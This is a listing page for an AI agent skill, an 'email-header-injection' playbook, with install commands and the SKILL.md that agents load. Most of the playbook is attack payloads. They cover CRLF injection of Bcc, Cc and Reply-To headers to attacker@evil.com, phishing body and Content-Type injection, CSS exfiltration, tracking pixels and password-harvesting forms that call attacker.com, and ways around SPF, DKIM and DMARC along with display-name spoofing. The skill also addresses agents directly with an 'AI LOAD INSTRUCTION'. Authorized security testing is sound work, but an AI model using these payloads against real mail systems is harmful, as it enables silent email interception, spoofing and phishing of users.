MCPInstall

email-header-injection

Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.

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Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/yaklang/hack-skills --skill email-header-injection
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads email-header-injection automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

SKILL: Email Header Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.

0. RELATED ROUTING

  • crlf-injection — general CRLF injection; email headers are a specific high-value sink
  • ssrf-server-side-request-forgery — when SMTP server is reachable via SSRF (gopher://smtp)
  • open-redirect — redirect in password-reset emails as phishing amplification

1. SMTP HEADER INJECTION FUNDAMENTALS

SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.

Injection anatomy

Normal header construction:
  To: user@example.com\r\n
  Subject: Contact Form\r\n
  From: noreply@target.com\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: attacker@evil.com\r\n

Encoding variants to try

EncodingPayload
URL-encoded%0d%0a
Double URL-encoded%250d%250a
Unicode\u000d\u000a
Raw CRLF\r\n (in raw request)
LF only%0a (some SMTP servers accept LF without CR)
Null byte + CRLF%00%0d%0a

2. ATTACK SCENARIOS

2.1 BCC Injection — Silent Email Exfiltration

Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com

Effect: attacker receives a copy of every email sent through this form

2.2 CC Injection with Header Stacking

Payload in "From name" field:
  John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com

Result headers:
  From: John
  Cc: attacker@evil.com
  Bcc: spy@evil.com
  ... (original headers continue)

2.3 Body Injection — Full Email Content Control

A blank line (\r\n\r\n) separates headers from body in SMTP:

Payload in Subject:
  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

Result:
  Subject: Urgent
  
  Please click: https://evil.com/phish
  .
  
(Blank line terminates headers, everything after is body)

2.4 Reply-To Manipulation for Phishing

Payload in From name:
  IT Support%0d%0aReply-To:attacker@evil.com

Victim sees "IT Support" as sender
Replies go to attacker@evil.com

2.5 Content-Type Injection for HTML Phishing

Payload:
  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>

Overrides Content-Type → renders HTML in email client

3. COMMON VULNERABLE PATTERNS

PHP mail()

$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";

// ALL parameters are injectable:
mail($to, $subject, $message, $headers);

// $to injection:    victim@x.com%0d%0aCc:attacker@evil.com
// $subject injection: Hello%0d%0aBcc:attacker@evil.com
// $headers injection: From: x%0d%0aBcc:attacker@evil.com

Python smtplib

msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized

Node.js nodemailer

let mailOptions = {
    from: req.body.from,      // injectable
    to: 'admin@target.com',
    subject: req.body.subject, // injectable
    text: req.body.message
};
transporter.sendMail(mailOptions);

4. SPF / DKIM / DMARC BYPASS TECHNIQUES

4.1 SPF (Sender Policy Framework) Bypass

SPF validates the MAIL FROM envelope sender IP against DNS TXT records.

TechniqueHow
Subdomain delegationTarget has include:_spf.google.com; attacker uses Google Workspace to send as anything@mail.target.com
Include chain abusev=spf1 include:third-party.com — if third-party allows broad sending
DNS lookup limit (10)SPF allows max 10 DNS lookups; chains exceeding this → permerror → some receivers accept
+all misconfigurationv=spf1 +all allows any IP (rare but exists)
?all or ~allSoftfail/neutral → most receivers still deliver to inbox
No SPF recordDomain without SPF → anyone can send as that domain
# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...

# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed

4.2 DKIM (DomainKeys Identified Mail) Bypass

DKIM signs specific headers with a domain key. Bypass vectors:

TechniqueHow
d= vs From: mismatchDKIM signs with d=subdomain.target.com but From: ceo@target.com — valid DKIM, spoofed From
l= tag abusel= limits body length signed; attacker appends content after signed portion
Replay attackCapture valid DKIM-signed email, resend with modified unsigned headers
Missing h=fromIf from header not in signed headers list (h=), From can be modified
Key rotation windowDuring DKIM key rotation, old selector may still validate
# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim

4.3 DMARC (Domain-based Message Authentication) Bypass

DMARC requires SPF or DKIM to align with the From: header domain.

TechniqueHow
Relaxed alignment (aspf=r)SPF passes for sub.target.com, DMARC accepts for target.com
Organizational domainmail.target.com aligns with target.com in relaxed mode
No DMARC recordDomain without DMARC → no policy enforcement
p=noneDMARC exists but policy is none → no enforcement, just reporting
Subdomain policy (sp=none)Main domain p=reject but sp=none → subdomains spoofable
# Check DMARC:
dig TXT _dmarc.target.com +short
# Look for: v=DMARC1; p=none/quarantine/reject

4.4 Display Name Spoofing (Works Everywhere)

Even with perfect SPF/DKIM/DMARC, display name is not authenticated:

From: "admin@target.com" <attacker@evil.com>
From: "IT Security Team - target.com" <random@evil.com>
From: "noreply@target.com via Support" <attacker@evil.com>

Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.


5. MAIL CLIENT RENDERING ATTACKS

CSS-based data exfiltration

<!-- In HTML email body -->
<style>
  #secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
  #secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">

Remote image tracking

<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel — confirms email was opened, leaks IP, client info -->

Form action hijacking

<!-- Some email clients render forms -->
<form action="https://attacker.com/phish" method="POST">
  <input name="password" type="password" placeholder="Confirm your password">
  <button type="submit">Verify</button>
</form>

6. CONTACT FORM / EMAIL API INJECTION

# REST API
POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}

# URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test

# GraphQL
mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }

7. TESTING METHODOLOGY

1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
3. Escalate: Bcc injection → body injection → Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)

8. DECISION TREE

Found email-sending feature?
│
├── User input goes into email headers?
│   ├── YES → Test CRLF injection
│   │   ├── %0d%0a in Subject/From/To field
│   │   │   ├── Extra header appears → CONFIRMED
│   │   │   │   ├── Inject Bcc: → silent exfiltration
│   │   │   │   ├── Inject body (blank line) → content control
│   │   │   │   └── Inject Reply-To: → redirect replies
│   │   │   │
│   │   │   └── Filtered? → Try encoding variants
│   │   │       ├── %250d%250a (double encode)
│   │   │       ├── %0a only (LF without CR)
│   │   │       └── Unicode \u000d\u000a
│   │   │
│   │   └── All encodings blocked → check SPF/DKIM/DMARC
│   │
│   └── NO (user input only in body) → limited impact
│       └── Check for HTML injection in email body
│           └── If HTML rendered → phishing / CSS exfil
│
├── Want to spoof emails from target domain?
│   ├── Check SPF: dig TXT target.com
│   │   ├── No SPF / +all / ~all → direct spoofing possible
│   │   └── -all → SPF blocks; check DKIM/DMARC
│   │
│   ├── Check DMARC: dig TXT _dmarc.target.com
│   │   ├── No DMARC / p=none → spoofing delivered
│   │   ├── p=quarantine → lands in spam but delivered
│   │   └── p=reject → blocked; try subdomain (sp= policy)
│   │
│   └── All strict → Display name spoofing only
│       └── "admin@target.com" <attacker@evil.com>
│
└── Testing password reset email?
    ├── Check for token in URL → open redirect chain?
    │   └── See ../open-redirect/SKILL.md
    └── Check for host header injection → password reset poisoning
        └── See ../http-host-header-attacks/SKILL.md

9. QUICK REFERENCE — KEY PAYLOADS

# BCC injection via Subject
Subject: Hello%0d%0aBcc:attacker@evil.com

# Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com

# Reply-To hijack
From: Support%0d%0aReply-To:attacker@evil.com

# Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com

# Display name spoof (no injection needed)
From: "security@target.com" <attacker@evil.com>

FAQ

What does the email-header-injection skill do?

Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.

How do I install email-header-injection?

Run npx skills add https://github.com/yaklang/hack-skills --skill email-header-injection in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/email-header-injection/ (personal) or .claude/skills/email-header-injection/ (project).

Which AI agents can use email-header-injection?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is email-header-injection safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains email-header-injection?

It is published by yaklang in yaklang/hack-skills. It has 3,574 recorded installs.

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